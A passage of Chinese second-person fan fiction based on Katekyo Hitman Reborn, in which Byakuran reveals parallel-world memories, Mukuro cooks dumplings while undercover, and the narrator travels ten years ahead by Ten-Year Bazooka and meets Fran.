白兰嘴角悄悄翘起,哪怕接收了无数平行世界自己的记忆,本质上他还是一个十六岁的少年,明显觉察到你眼底的惊叹后, 白兰笑眯眯又把手往你面前递了递。 “要摸一摸吗?” 白兰低头看你像受惊的猫猫一样瞪圆眼睛,他笑容加深, “放心, 它不会伤害你。” 火炎追随主人的意志。 虽然你没有痛觉,但面对漂亮耀眼的橙色火焰,你的举止还是忍不住小心翼翼起来。手指虚虚触碰上在白兰指尖跃动的小火炎,下一瞬,白兰不经意朝你靠近,他的手指恰好和你的指腹相碰,你缓缓睁大眼睛,一眨不眨盯着你们相碰的指尖, 恍惚间,你好似感受到了自己指尖上炙热的温度。 “好漂亮。”你呢喃出声。 “这是属于我的大空之炎。”白兰任你把玩着他指尖上的火炎,他慢条斯理操控着火炎的大小,看你像好奇猫猫一样认真研究,白兰慢慢勾起嘴角。 “那平行世界呢?”你抬头看他,“也是独属于你的奇妙旅途吗?” “不,现在它是独属于我们两个人的秘密。” 火炎在他指尖消失后,你和白兰的指尖忽然毫无间隙地触碰到了一起。柔软的指腹相贴,你刚惊讶地抬眼看他,下一秒,白兰指尖重又升起了火炎。 白兰微低下头颅看你,紫罗兰色的眼瞳里流淌着蜜糖般甜蜜的色彩,他静静望着你眼底轻飘飘摇曳的火炎,白兰莫名感觉自己的心脏也像你眼里的火炎一样开始缓慢摇曳。 “……我是在某天突然觉醒了所有平行世界自己的记忆,同时,我也拥有了观测平行世界的能力。”明明是那么久远的事情,但现在回忆起来却仿若昨日。 “后来,自称切尔贝洛的两个人把玛雷指环交给了我。得到玛雷指环后,我又得到了新的能力——我可以从平行世界带出任何人和不存在于这个世界上的技术。” ——他是被指环选中的人。 说这话的时候,白兰的语气很平静,他很难说清楚那一刻自己内心真实的想法究竟是什么,世界虚假也好真实也好,尽管他依旧想要抓住真相,但对于现在的白兰来说,那些所谓的游乐场早在不知不觉中显得没那么重要了。 “所以,之前你脑袋疼就是因为这些记忆吗?” 你的手缓慢从他指尖的火炎移开,你抬头看向白兰。平行世界是无穷无尽的,任何一个选择都能诞生出一个全新的平行世界,你难以想象一个人的大脑在一秒内爆破式挤入无数平行世界的记忆。 你:“哪怕过了这么多年,疼痛也没减少吗?” 你不由想到了自己,眼底神色不明,你抬手轻轻摸上白兰的脑袋。白兰自然弯下腰抱着你一起坐上地毯,眼里带着委屈和可怜,他故意把脑袋凑近你脖子,似有若无的热气喷洒在你耳后,白兰可怜兮兮地拉长尾音,“很疼呢,前不久,突然又有了一波新的记忆,来势比以往任何一次都要凶猛,脑子像是进了搅拌池,大脑都变得黏黏糊糊了呢。” “但是只要在春也身边,那些难耐的疼痛都减轻了不少。” 白兰和你说话的时候很喜欢懒散地拖长尾音,听上去像是在撒娇。 你轻轻揉着白兰的脑袋,听到他的话,你弯了下眼睛,“我又不是什么良药。” “有缓解的办法吗?” “有,很简单,好好把那些不属于我的记忆梳理归纳就行。”白兰说得漫不经心,“不过要小心陷在另一个自己的记忆里出不来,毕竟每一个人都是我,万一大脑没分清谁才是真正的自己,那就有点棘手了呢。” 白兰表现得轻描淡写,但你从他短短几句话里看出了梳理记忆的风险。 “说起来,彭格列那群人不论是在哪一个世界,都是黑手党呢。”白兰像是不经意提起,假装没在意你悄悄竖起的耳朵,眼底笑意变淡,白兰慢条斯理地和你分享他的情报。 “被迫卷入命运潮流的沢田纲吉,无论怎样都无法摆脱的可悲命运,然后一步一步慢慢登上了黑手党教父的位置。” 白兰以完全旁观者的角度评判,带着微妙的怜悯和高高在上的态度,他的嘴角勾起嘲讽的弧度。 “狱寺隼人、山本武、云雀恭弥、笹川了平、蓝波·波维诺,每条平行线上都会成为沢田纲吉最忠心的守护者。完全就是游戏固定存在的NPC,让人激不起丝毫兴趣呢。” “不过对上他们,平行世界的我也是花费了好些功夫才分析透彻他们每一个的出招方式。” 然后,本就easy的模式变得更没有挑战性了。 白兰语调散漫:“让我想想……” “唔,好像还差一个。” 指尖不自觉蜷缩起来,你一边心慌焦虑,一边又控制不住想要听下去。明明你知道白兰唯一没有提到的彭格列守护者是雾守,明明你知道雾守的名字是库洛姆,但你还是感到一阵奇异的不安。脑海里无法抑制地浮现六道骸的身影,但六道骸是为了夺取沢田纲吉的身体才会进入彭格列卧底。 “岚守、雨守、云守、晴守、雷守……” 白兰缓慢念着每一个守护者的称号,冷淡又带着漫不经心的语气好似达摩克利斯之剑高高悬在你头顶,指甲无意识掐住自己的掌心,你安静垂下眼睛, “啊,想起来了。”带着磁性的声音恍若最后一根稻草,轻飘飘压在了你的心脏上,“最后一个——是六道骸啊。” 轰隆—— 如被雷劈,你浑身冰冷。 “六道骸,彭格列的雾守,沢田纲吉手下最兢兢业业的打工人,无数平行世界里,我看过他好几次为了彭格列来密鲁菲奥雷卧底呢。” “不得不说,身为实力强大的幻术师,他的天赋几乎无人能敌,卧底的伪装到位得连我都无法在第一时间辨认出来——是觉醒了平行世界记忆的我哦。” 你沉默了一会儿后缓缓开口,“彭格列的雾守不应该是库洛姆·髑髅吗?” 白兰意味不明:“不错,春也酱还学会抢答了呢。这就是我要和你说的另一件比较特殊的事情——彭格列有两位雾守。” “六道骸是一个,另一位就是春也酱刚刚提到的库洛姆·髑髅。说起来,六道骸似乎还有个同样是幻术师的徒弟呢。”这是梳理新记忆的时候,白兰发现的,之前的平行世界里六道骸藏得太好了,谁能料到瓦利亚那位天赋绝伦的年轻雾守会是彭格列雾守的徒弟呢。 果然是心思深沉的幻术师。 身前是温暖的热源,你却丝毫感受不到任何暖意,脑海里慢慢出现古伊德·古莱克的脸,六道骸的脸完全覆盖了古伊德·古莱克,你仰头望向惨白的天花板,恍惚间,你感觉自己的眼睛再一次被刺眼的灯光灼伤,但这一次,明明没有任何一个人开灯。 “那是平行世界的事情。”你听到自己平缓冷静的声音响起,“平行世界,不能代表我们所在的世界。” “白兰,你有在那无数个平行世界里,看到过我的身影。” 白兰没有说话,但你已经知道了答案。 “看,这就是不同。” “所以呢。”白兰的声音也冷淡了下来,手撑在你耳侧,他撑起身体,浅淡的紫色眼瞳里没有温度,他晦涩不明地盯着你。 “为什么偏偏在六道骸的问题上,春也酱的态度总会显得如此不同呢?” “还是说,春也酱不相信我的记忆?” “六道骸,出生艾斯托拉涅欧家族,移植轮回之眼成功后一夜之间覆灭了他的家族……”白兰一字一顿慢慢说着你知道的有关六道骸的所有经历,唯一有所不同的是,其他平行世界里的六道骸都没有你,所以—— “被沢田纲吉打败后,他被复仇者重新送回了监狱,然后六道骸越狱失败,被关进了复仇者监狱最底层的水牢里。” 自始至终,白兰一直看着你的眼睛说话,“你知道六道骸是怎么为彭格列做事的吗?” “他找到了一具和他灵魂契合完美的身体,然后借由这具身体活动,参与指环战打败了玛蒙。这十年来,他就靠着别人的身体一直为彭格列做事。” “而那具身体的主人,就是库洛姆·髑髅。” “嗤。” 白兰忽然轻笑出声,你望过去,只看到他意味深长地勾起唇角,“你说,这该是多么伟大的忠诚度,才能让一个在牢里的人都兢兢业业地为仇人打工呢?” “很巧合的是,我也在我的基地里发现了一位来自彭格列的卧底呢。春也酱要不要来猜一下他是谁?” 白兰知道自己急躁了些,但看到你哪怕知道了这么多信息也依旧是一副相信六道骸的模样,白兰承认,他现在感到非常的不满。他不开心了,那自然,他也要让别人开心不起来。 更何况,他说的可全是字字保真的实话啊。至于这个世界六道骸的真实想法和卧底的真实原因其实是为了你……谁在意呢? 反正,白兰不会在意。 你隐隐觉察到了什么,“和我说这个做什么?” 白兰这才恍然般笑道:“我还以为春也酱会好奇呢。” 你盯着白兰半弯的眼睛看,紫色倒王冠刺青微微变了弧度,现在,你彻底明白了,白兰早就清楚了你的目的和身份。 第134章 “白兰。” 你叫了声他的名字, 白兰安静看着你,没有回话,但你莫名有种直觉, 他似乎知道你想说什么。你们就这样无声对恃了很久。 “我饿了。” 你平静地望着他, 白兰想要维持你们之间微妙的平衡, 你也不想在此刻打破它。你抬头望着白兰眼底晦涩不明的情绪, 感受到他握在你手腕想用力又松开的手,忽然, 你福至心灵。 你想, 你大概明白白兰对你的态度为什么这么微妙。 语气停顿几秒,白兰也自然略过了你们之间快要迈向危险的话题, 他不动声色在心里计算着时间,白兰眼弯弯地看向你,“……想吃什么?” 你在心里思索几秒,抬起手,你虚虚触碰上白兰长长地睫毛, 他没有动,白兰任你摸上他的睫毛, 轻微的重量让他不自觉眨了眼。茸茸的痒意落在你指腹, 你下意识往后缩了缩手,然后,你发现白兰极其自然地向前靠近你。 你的手指碰上了他的脸,感受着掌心下的热意,你陡然发现,在你未曾察觉到的时候,你和白兰的相处竟不知不觉变得如此自然。 就好像制作棉花糖,一开始, 甜滋滋的糖化作的丝像朦胧虚幻的雾气,稍不注意就会无视它。虚幻朦胧的雾气在不知不觉中化作黏腻稠密的棉花糖,然后一圈一圈慢慢将你层层包裹住。等到你回过神想再逃离,你才发现自己已经深陷棉花糖的陷阱难以挣脱。 “什么都可以。”过了一会儿,你又改口,“不,还是吃饺子吧。” 你只是突然想起来,来到这个世界尝试活下去的第一顿饭,是犬、千种和骸骸亲手为你包的饺子。现在想想,距离你上一次吃饺子,似乎已经是很久之前的事了。 你推了推白兰,“你去做。” “诶?我吗?”白兰顺着你的力道起身,“唔,但是我也没做过饺子,春也来教我吧~” 说着,白兰拉着你一起来到了厨房。 密鲁菲奥雷基地里的厨房是全开放式,在你来之前,白兰偏好吃甜品和速食,每日三餐比较随意。在你来之后,白兰照顾你的饮食,他贴心请来了会做世界各地特色美食的顶级大厨。 现在还没到用餐的时间,厨房里很清静,白兰在里面找了一圈,然后在摆放了各种粉类的区域停下。袋子上没有写字,白兰苦恼地蹲在地上,“这下糟糕了啊,我可不知道里面哪一袋才是面粉。” 听到白兰的话,你刚要走过来辨别,白兰却比你动作更快地掏出手机,“啊,有了,古伊德·古莱克一定会知道呢。” 你慢了一步,便只能看着白兰拨通电话,然后漫不经心地叫人过来。电话挂断,白兰扭过头看你,他眯眼笑道:“春也是担心古伊德·古莱克也会和我一样分辨不清吗?” “放心,之前好几次外出采购,我都是安排的古伊德·古莱克,每一次,他都做得很完美呢。” 基地虽然大,但赶过来不会费太长时间,很快,白兰说话的间隙中,古伊德·古莱克出现了。 “白兰大人,你找我?” 上次的警告似乎是有用的,这一次,古伊德·古莱克的视线完全没有往你身上瞄。 白兰状似苦恼地看了过来,“春也想吃饺子了,但是我对这方面不是特别了解,刚好我想起来,雷欧对这方面似乎有点研究。” “来,雷欧你看看,这里面哪一袋是面粉?” 古伊德·古莱克面上无异地走了过去,经过你时,他连瞳孔的大小都没变一下。 蹲下身,古伊德·古莱克开始认真辨认每一个袋子。你不自觉看向他的右耳,不出意料,那里空空如也,什么也没有。 手指无意识摸上自己的左耳,冰凉的耳钉好端端戴在上面,你站在旁边看古伊德·古莱克很快地找出面粉袋子,他的脸上写满了公事公办地认真。 “白兰大人,是这一袋。” 白兰不动声色地夸奖,“真不愧是我一直看中的雷欧,这下事情就轻松多了呢。” 古伊德·古莱克温顺垂眼:“白兰大人,还有别的事情需要我做吗?” “先留在这吧,以防过程中还需要你。”白兰轻飘飘定住了古伊德·古莱克准备离开的身体。 但事情并没有这么发生。 白兰的手出乎意料得巧,跟着教程,他轻而易举就学会了对普通人而言不算简单的包饺子教程,考虑到你已经饿了,白兰完全是现包现煮。他手上都是白色的面粉,煮饺子这个工作自然就落到了古伊德·古莱克身上,或者说是六道骸。 空调风呼呼地吹,所以你们完全没觉得热。六道骸垂目认真煮着饺子,像一位老练的饺子大厨,他熟练掌控着饺子的温控和生熟。 手下动作不停,白兰抬头看了一会儿,他忽然出声,“没想到雷欧煮饺子这么熟练啊,你也喜欢吃饺子?” 古伊德·古莱克腼腆笑了下,“嗯,因为我喜欢的人很喜欢吃,所以我也喜欢吃。” 他像是没注意到白兰忽然沉下来的目光,古伊德·古莱克神色自若地替你盛了一碗煮好的饺子,“这些已经可以吃了,这边调料也已经调好了。” 说着,古伊德·古莱克又拿出了他刚刚调的调料,是春也一直喜欢的口味。 “没想到古莱克都已经有了喜欢的人啊。”白兰状似好奇问道,“她是一个什么样的人。” “是我喜欢的人。”古伊德·古莱克不好意思地笑了下,“啊,抱歉,忘记白兰大人还没谈过恋爱了。白兰大人不会明白我的感受的,在我眼里,她的存在就已经奇迹本身了。” 说这话的时候,六道骸表现得天真又无辜,他完美掩饰了一个在情感上有些天然黑的人物形象。 白兰差点笑了:奇迹?你还真敢说啊,六·道·骸,怎么,已经开始装不下去了吗? 两人一来一往间,你蘸饺子的动作顿了顿,低下头咬了口饺子,瞬间,熟悉的味道席卷你整个味蕾——是你最爱的蘸料。 这份蘸料,只有六道骸会做。 到了现在,古伊德·古莱克的身份已经很明显了,他甚至都没有向你掩藏的意思,就好像,六道骸也迫切地想要你知道他的存在。 六道骸在告诉你,他来了。 他找到你了。 古伊德·古莱克是六道骸这件事尘埃落定时,你发现自己竟然出乎意料的平静。 从头到尾,你没有理会两个幼稚男人的纷争,安静吃完饺子,微微的饱腹感传来,你停下了进食。再次抬头时,厨房里只剩下了你和白兰。 你看过去时,白兰正单手撑着下巴眉眼含笑地看你,“春也吃饱了吗?” “嗯。”你看向白兰,“我记得你说过,我们是同伴。” “当然。” “你会为我做任何事吗?” “我一直都在准备着。” 沉默了会儿,你突然开口,“十年火箭筒。” 白兰挑了下眉,似是不解。 “我需要十年火箭筒。”你的眼神越来越坚定,“我要再看一次,我的未来。” 第135章 白兰想拥有一样东西的时候, 从不会失手。 没有世界毁灭的危机,彭格列总算可以在白兰散漫的攻击下喘口气。察觉到基地的氛围没有过去那么沉重,蓝波也是一天比一天活泼, 他甚至靠撒娇打滚得到了一次外出机会, 然后, 可怜的蓝波就被抓到了白兰基地。 “十年火箭筒拿出来。” “什、什么十年火箭筒…蓝波桑才不知道呢……”蓝波人小, 但他明白十年火箭筒的重要程度。蓝波心虚地挠着头后退,眼看白兰脸色沉了下来, 蓝波吓得打了个嗝。 骤然来到陌生的欺地方, 眼前还有个会变脸的坏人,蓝波憋了下, 还是没忍住哭腔。 “呜哇!好可怕的白头发怪人!!阿纲救我!!!” 他果然不该跟小孩废话,白兰伸手就要抓住蓝波,后者立马惊慌得四处逃窜。 “咚!” 慌乱间没有看路,蓝波撞到了你的腿。 蓝波一个人制造的吵闹声就足够大了,你刚走进门, 腿上就传来一道重量,低下头, 你看到了蓝波捂着脑袋眼泪汪汪的可怜表情。 “发生什么事了?” 蓝波抬头看你, 他的眼睛一下就亮了起来,很显然,蓝波认出了你。 “是上次看到的大姐姐!”好像还不小心被他的十年火箭筒砸到了。在陌生的地方骤然看到熟悉的人,蓝波忽然有了丝心安。 “呜哇就是他!把蓝波大人抓到这里来的大人。”蓝波的小手紧紧抓着你的裙摆,像是找到了依靠,蓝波和你告状,他小小的脑仁里根本就没意识到你和白兰是一伙的。 “怎么直接把人带来了?”你看了眼蓝波,没有阻止他的动作。 白兰慢慢朝你走了过来, “你不觉得这样方便些吗。” 蓝波仰头看看你又看看白兰,他想跑,但又跑不掉,最终,对比彭格列大家经常给他看的白兰恶人脸,弱小可怜又无助的蓝波还是选择呆在你旁边。 “十年火箭筒在哪?”你蹲下身看蓝波,后者下意识捂住脑袋,眼神躲闪,“什么火箭筒?蓝波桑不知道哦。” 白兰干脆单手拎起蓝波,头朝下抖了几下,亮晶晶的糖果、手榴弹还有各种巧克力全都掉落地面,蓝波心疼地看着自己的糖果,但很快,他就没时间思考到底掉了几颗糖果了,白兰加大力度,十年火箭筒终于掉出来了。 在所有人都没注意到的角落,十年火箭筒不小心磕了下,发出了轻微的碎响。 你上前捡起它,想起之前的经历,你动作很快地把十年火箭筒往上一抛,粉紫色的烟雾出现,下一秒,你整个人消失在了原地。 白兰还没来得及说话,你就离开了。他放下蓝波,没管后者可怜兮兮地捧起糖果重新塞进“西兰花”里,他站在原地静静等待十年后的你出现。 再次睁眼,你发现自己待在一个陌生的房间里,桌前摆放着好几本晦涩难懂的书籍,你翻开书,惊讶发现上面的字迹是自己留下的。 “意语、日语、法语……”你认真看了几眼,未来的自己似乎从事了翻译的行业。你抬头打量着房间,很明显,这是一间工作室。 风扬起,和煦的风裹挟着花香飘到你鼻尖,被花香吸引,你起身来到窗前,往下眺望,你看到院子里种满了颜色各异的鲜花,最张扬的向日葵迎着太阳摇摆,恍惚间,你似乎看到它在热烈的微笑。 这一次似乎又和上一次不一样了。 你拉开房门准备出去,一抬头就看到了挂在门中央的门铃小窗户,里面似乎装了什么东西。 正在你犹豫要不要按响门铃时,忽然,从旁边伸出了一根干净修长的手指,它顺着你的心意按响了门铃。 “叮——” 门铃响了。 “师娘今天看上去和以往有点不一样呢。” 你扭过头,看到一只头戴青蛙头套的少年正面无表情地歪头看你, “想要按门铃的话,直接按就好了。” 说着,青蛙头套单手拿出玻璃窗里的明信片递给你,“是想要这个吗,师娘?” 在接过明信片之前,你率先对青蛙头套话语里的师娘表达了疑惑,“师娘?” 青蛙头套语气毫无波澜,“啊,原来这个时候的西秀还没有追到师娘吗。噗,西秀好逊。” “就是有点可惜,这样的话Me就不能早点见到师娘了呢。” “啊,差点忘了。”青蛙头套自顾自说着话,忽然,他看向你的眼睛,“Me的名字是弗兰,六道骸是Me的师父。” “唔,一想到西秀居然能拥有师娘这么可爱的对象就好不可思议,师娘真的不需要去看看眼睛吗?” 然后,像是意识到不对,自称弗兰的奇怪家伙连忙止住话题,“糟糕,要是让西秀知道就完了呢。” “师娘不会想要告密吧。” 嘴上说着害怕,但这家伙的脸上完全是面无表情嘛。 你摇了摇头,弗兰却像是得到了一个天大的好消息,绿色的眼睛像翡翠一样泛着剔透的流光,弗兰注视着你的眼睛,你莫名觉得他的视线认真到有些专注。你看到弗兰眨了下眼,“果然还是师娘最好了。” 你打开对折的明信片,听着弗兰小青蛙的称呼,你沉默片刻后开口,“不用叫我师娘。” 弗兰听到后明显愣了一秒,他立马改口,“春也。” 你随意应了声,你的注意力全在明信片上的一行字上—— 你选择的方向,自由的风会贯穿一路。 是十年后的你写下的。 你不知道她经历了什么才会获得现在的感悟,但可以肯定的是,十年后的你过得并不糟糕。 “六道骸呢。”见弗兰小青蛙还没有离开,你出声问道。 “西秀在……”话刚出口弗兰就意识到不对,他眨巴眨巴眼睛,“其实Me也不知道西秀具体的位置。” 弗兰在撒谎,但说实话,现在的你也没有追问的意思。十年火箭筒交换的时间只有五分钟,你选择先观察这间房屋。 今天不知道是什么日子,犬、千种和骸骸都不在家,只有一个奇怪的青蛙头跟在你后面。你缓缓站定,青蛙头也跟着停下,他的眼里带着浅显的疑惑,像是在问你为什么不继续观察了。 “为什么一直跟着我?” “因为以前Me也是这样一直跟着师…春也的。”弗兰面无表情地假装悲伤,“小时候春也可从未嫌弃过Me,果然,长大后Me人老珠黄了,春也会嫌弃也是理所当然的。” 你没什么表情地盯着他,弗兰慢慢也不说话了,他就这样静静看着你。 你恶劣一笑:“你要是能哭一声,说不定我还会让你跟着。” 弗兰一本正经:“春也还是一如既往的恶趣味啊,Me会好好学习的。” 房子里干干净净,并没有出现你想象中的东西。计算着时间,忽然,你冷不丁开口问道:“你西秀现在在彭格列做什么?” 弗兰反应很快:“在开会。” 好像说快了,弗兰偏头观察你的反应,这个时间点,西秀还苦兮兮地没有得到原谅呢。但是话都说出口了,再把人当傻子骗就没意思了,更何况,看你的反应,也不像是什么都不知道。 弗兰肯定:西秀果然是笨蛋。 掩下眸中烦乱的思绪,你面上一派平静,“不用隐瞒我,我都知道了。” 你有预感,弗兰会告诉你一切你想知道的东西。 弗兰眨了下眼,“Me完全听不懂你在说什么。” 为了西秀,Me真是付出了太多,弗兰感叹。 你拿起柜子上的相框,上面是你和六道骸单独的合照。六道骸看上去似乎很开心,他勾着唇,眉眼温柔地低头看你。视线下移,相册里的你拽着六道骸的领带垫起脚尖,右手抚上他靛青色的长发。樱花树下,你右手上的钻戒闪闪发光,扬起的大风吹落了一地樱花,也吹乱了六道骸的发丝。 漂亮的靛青色遮住了你的大半张脸,你只能从模糊的发隙里看到自己弯起的眼角。 抬头看了眼挂在墙上的时间,你发现五分钟早就过去了,虽然不知道你为什么没有回去,但既然现在你还有时间……想起刚刚弗兰嘴里无意透露的情报,你干脆往门外走去。 就算弗兰明确告诉你六道骸在彭格列,你想,你大概也是无法相信他的。对你而言,不管未来你和弗兰的关系有多好,现在他对你来说只是一个陌生人。 在白兰基地的时候,白兰曾告诉过你彭格列基地的具体位置。十年的时间过去,你不清楚彭格列的基地有没有更改地址,但至少,你要先去看一眼。 ——为了你心中一直以来都无法消下去的疑问。 “你要去哪里?”弗兰神不知鬼不觉又跟在了你身后,和六道骸一样。该说不说弗兰是六道骸的徒弟。师徒两人从某种程度上有着相似的特性。 你没有理他,抬手拦下一辆车,你刚准备上去,下一秒,在你身后忽然伸出了一只手。带着懒洋洋的尾调,弗兰一手直接关上车门,一手拉过你,“这里可是意大利,不要随便坐陌生人的车。” “你想去的地方,Me也可以带你去。” “这不是怕你又听不懂吗。”说着,你还故意模仿了弗兰之前说话的样子。 弗兰:…… 弗兰叹了口气,好吧,他对你总是没有办法的。 “Me发现自己突然又能听懂了。”弗兰不动声色施展了一个幻术,刚才的司机眼神迷惑了一瞬间后开车离开了,弗兰的视线重新移到你身上,“春也想要去哪里,Me都可以帮你搞定。 ” 沉默片刻,你缓缓开口:“彭格列。” 第136章 彭格列, 再次想起这个名字你还有些恍惚。 “西秀要是知道Me带你来这,一定很生气,所以Me给我们两个都施展了幻术。”反正他们又不是去找西秀对恃, 稍微迷惑一下大家也是可以的, 正好也锻炼一下彭格列的幻术抵抗能力, 这么一想, Me还真是贴心啊。 弗兰理直气壮。 彭格列里,来来往往的普通员工没一个发现你和弗兰身上的幻术, 他们理所当然地认为你和弗兰的存在很正常。 “这个时间点, 大家会还没开完呢。”发现你有在观察四周寻找什么,弗兰贴心解释, “当然,Me不属于彭格列,所以无法参与他们的活动。” 弗兰面无表情地咏叹:“Me都明白,被排挤是Me的命运。” 你扭过头:“怎么,你也很向往黑手党的生活?” 哪怕站在面前是不是和自己相伴了十年的师娘, 但看到你此刻的表情,弗兰还是头皮一紧, “Me才不是西秀那样的邪恶凤梨妖怪呢, 师娘不要认错Me和西秀。” 对不起了西秀,对不起了彭格列,对不起了瓦利亚,比起黑手党的生活,Me还是更想和师娘一直一直生活在一起呢。弗兰毫无愧疚地在心里忏悔了一秒。 彭格列开会的地点并不算难找,不过出乎你意料的是,十年后彭格列的基地看上去似乎比十年前大多了,你找了好一番功夫才看到会议的标识。期间你没有问过弗兰, 像是憋着一口气,你完全靠自己发现了最终点。 找到会议室的时候,你甩丢了弗兰小青蛙。你没有在意这件事,看他对彭格列的熟练程度,你不觉得弗兰有少来过这里。 你简单观察了下四周,发现很少人经过这里。会议室的隔音效果也很好,隔着门,你听不到任何声音。 正当你准备不动声色靠近会议室时,不远处传来来清晰的脚步声,你条件反射躲了起来,直到藏进角落,你才想起自己身上被弗兰下过幻术,根本没必要那么紧张。缓缓吐出一口气,你正要重新走出去,下一秒,会议门开了。 角落里,偌大的绿植叶片遮挡住了你全部的身体,弗兰的幻术模糊了你面容的同时还降低了你的存在感,一时之间,没有人发现藏在角落里的你。 云雀恭弥是第一个走出来的,眉头皱起,他看上去心情似乎不太好,冷着脸就离开了。笹川了平紧随其后,他嘴里喊着极限啊喝茶啊就追上了快没影的云雀恭弥。 云雀委员长似乎一直没怎么变过。 熟悉的外套披在他肩膀当披风,转身之际,散漫的衣摆在半空划过凌厉的弧线,只不过他的外套由一开始的黑色校服变为了黑色西装,云雀恭弥的底色从未变过,他一直都是浓墨重彩地在你眼底留下淡淡、却又无法遗忘的印记。看到他,你恍惚又回忆起了过去短暂的学生时代。 猫、滋哇乱冒泡的汽水,以及操场上沢田纲吉垫球成功时落下的第一滴汗水。 偶尔,山本武专注挥打棒球的眼神会短暂在你脑海里泛起浅浅的涟漪,混杂着喜悦、汗水和浓烈热意的拥抱紧紧将你裹挟。 你又想起云雀恭弥顿下身温柔投喂小猫的场景,夏风吹动树叶瑟瑟,晃动的光影在云雀恭弥身上顺着风的踪迹起舞,落日的余晖柔和了云雀恭弥脸上锋利的线条,你只看到摇曳的光影里有一只属于你的小猫。 …… 那个夏天,你们一直期待着未来。 长大了不少的蓝波依旧稚气未脱,他和狱寺隼人打闹着走了出去,你刚从他们身上移开视线,拐角处猛然响起巨大的轰鸣声,你甚至觉得结实的房屋都晃了好两圈。 炸药和手榴弹爆裂的声音接二连三响起,紧接着会议室里传来匆匆的脚步声,沢田纲吉扯了扯嘴角,他有些崩溃地抓了抓头发,注意到被破坏的墙、天花板和地面,沢田纲吉脑袋上自然冒出火焰,他冷静地冰封住两个不断搞事情的守护者的手脚。 沢田纲吉之后,你看到冷酷无情的世界第一杀手缓缓走了出来,他捏了捏帽檐后抬起,漆黑的大眼睛里难辨心绪。不知道是不是你的错觉,你总感觉里包恩惘你这边瞥了眼。等到你再望过去时,你只听到了他Q萌的声音。 “为守护者善后也是身为首领的职责。蠢纲,这些损失从你零钱里扣。” 沢田纲吉脑袋上的火焰“嗖”的一下就消失了,他不可置信地看向自己冷酷无情的家庭教师,沢田纲吉发出绝望的呐喊:“诶?!!!” 灰头土脸的狱寺隼人羞愧低头,一手还拎着不断挣扎的蠢牛,“抱歉首领,我会和这头蠢牛一起解决这件事的!!” “蓝波大人才不要和你一起!”穿着奶牛套装的蓝波拼命扭动着身体,他企图从狱寺大魔王的手里逃出来。 忽略掉他们黑手党的身份,远远看过去,完全就是一场温馨的家庭剧。借着绿植大叶片中的间隙,你默默注视着他们。 ——像下饺子一样,一个一个的黑手党接二连三从会议室里出来。 “蓝波和狱寺的关系可真好啊。”背着竹刀,山本笑容清爽地走了出来,“阿纲钱不够的话,我也可以资助啊,毕竟我也是阿纲的左右手嘛。” 守护者到齐了五个,现在,还差最后一个。 你紧紧盯着会议室大门,明亮的光线照不亮半点大门内延伸出的漆黑深渊,但也不知为什么,最后一位守护者迟迟没有出现。 盯得越久,你越恍惚,就好像普普通通的门内罅隙藏着可怖的、未知的怪兽,你开始焦虑,牙齿又开始泛痒,你克制着撕咬的欲望,你在想,为什么,为什么库洛姆还不出来? “kufufufu…真是好一出大戏。” 昏暗的角落里,你的瞳孔无意识放大,你死死盯着眼前的绿植大叶片,你甚至可以看到残留在上面半干的水痕,你逐渐开始听不见蓝波和狱寺隼人的吵闹声,明明是在如此喧嚣的环境下,如雾般飘渺的声音却在此刻异常清晰地落进你的耳内。 “哦呀,这里居然还藏着一只小老鼠。”三叉戟凭空出现在手上,寒光闪过眼前,你不自觉瞪圆眼睛,瞳孔在激烈的情形下皱缩,你第一次看到尖锐的三叉戟对准了你。 “kufufufu…找到了。” “噗呲!” 锐利的尖端毫不留情插入你面前的大型盆栽,其中一盆绿植扭曲成人形,在你砰砰直跳的心跳声中,平静毫无起伏的声音懒散地响起,“啊,西秀好残忍。” 你下意识抬头,弗兰不知道什么时候变成了绿植站在你面前。现在,幻术效果消失,体型修长的少年如雾般聚拢出现在你面前,清瘦的身形恰好挡住六道骸看向你的视线。 六道骸的三叉戟完美插入弗兰的青蛙头套,露出的三根尖端泛着透骨的冷意,弗兰却完全不在意,他面瘫着一张脸看六道骸,“西秀,可以把这个东西从Me脑袋上移开吗,你吓到Me的小青蛙了。” “哦呀,怎么,你的小青蛙还是有生命的吗?”六道骸皮笑肉不笑,“如果我没记错,这个时候你应该在家里好好呆着。” 弗兰一本正经:“Me只是想考察下西秀的工作环境,就算是Me,一想到西秀可能会被压榨,Me也是很难过的。” 其实弗兰更想说害怕西秀被压榨成凤梨罐罐,但为了孩子的身心着想,弗兰机敏地选择了最尊敬的称呼。 六道骸眯起眼睛:“哦~是吗?” 疑似压榨凤梨的沢田纲吉:“…这个指向性也太明显了吧。” 有了弗兰在前,你发现似乎没有人注意到你。你依旧隐蔽在昏暗的角落里没有出去,最初所有质问在看到六道骸的那一瞬,全都消失得无影无踪。如果说,十年前的六道骸还能说出他不是真心为彭格列打工的话,但现在的六道骸眼里完全没了你熟悉的光芒。 六道骸变了,甚至,有一瞬间你觉得他陌生的可怕。明明曾经的你们如此亲密,在这一刻,你忽然发现自己似乎从未真正了解过他。 委屈、难过、质问、痛苦、愤怒……所有杂乱的情绪混在一起搅拌着你的心脏,你想过直接出去,但在你即将跨出脚步的那一刻,弗兰不小心被六道骸戳的歪了下脑袋。 就是这个瞬间,你看到了六道骸的眼睛。 轻松、欢愉、甚至还有一丝幸福从他眼角溢出,在六道骸本人都没察觉到的时候,他变得更快乐了。 他终于从过去的痛苦中走了出来,他终于不会再执着那些人死灯灭的仇恨,他终于有了点同龄人的模样…… 你无法确定他的改变源自什么,或许是十年里忽然出现的弗兰,或许是彭格列改变了他,或许是漫长的时间逐渐消磨了所有…… 明亮的、再没有任何阴霾沾染的红蓝异瞳像是终于褪去淤泥的宝石,就像过去的你。 无数个没有光亮的夜晚,六道骸拉住了奄奄一息的你,他耐心的、一点一点消去你心底的所有阴霾和痛苦,他坚定又执着地拽起你走向另一条干净的道路,他让你重新变回了正常人的模样,而现在,六道骸终于也走出来了。 你无法再去拽着好不容易走出来的骸一起没入沉寂痛苦的深渊。你不得不承认,比任何负面情绪先涌上来的,是想要落泪的难过。 你真切地为现在的六道骸感到开心,却也异常清醒地认知到,你无法做到和解。 猜到弗兰在你身上施展的幻术大概是很优秀的忽略术,你一个人慢慢离开了这里。你不知道你什么时候会回到十年前,所以趁现在,你想要先去看看犬和千种。 在你离开后,你没注意到剩下几个人的视线不约而同掠过了你存在的地方,然后又轻飘飘移开,只有六道骸死盯着自己不听话的徒弟。 后续的故事你已经不会在意了,你先在彭格列谨慎地转了一圈,没看到犬和千种的身影后,你独自一人离开了彭格列基地。 十年火箭筒故障的时间似乎有点长,直到你回到初始的家,你还存在于十年后的时空。 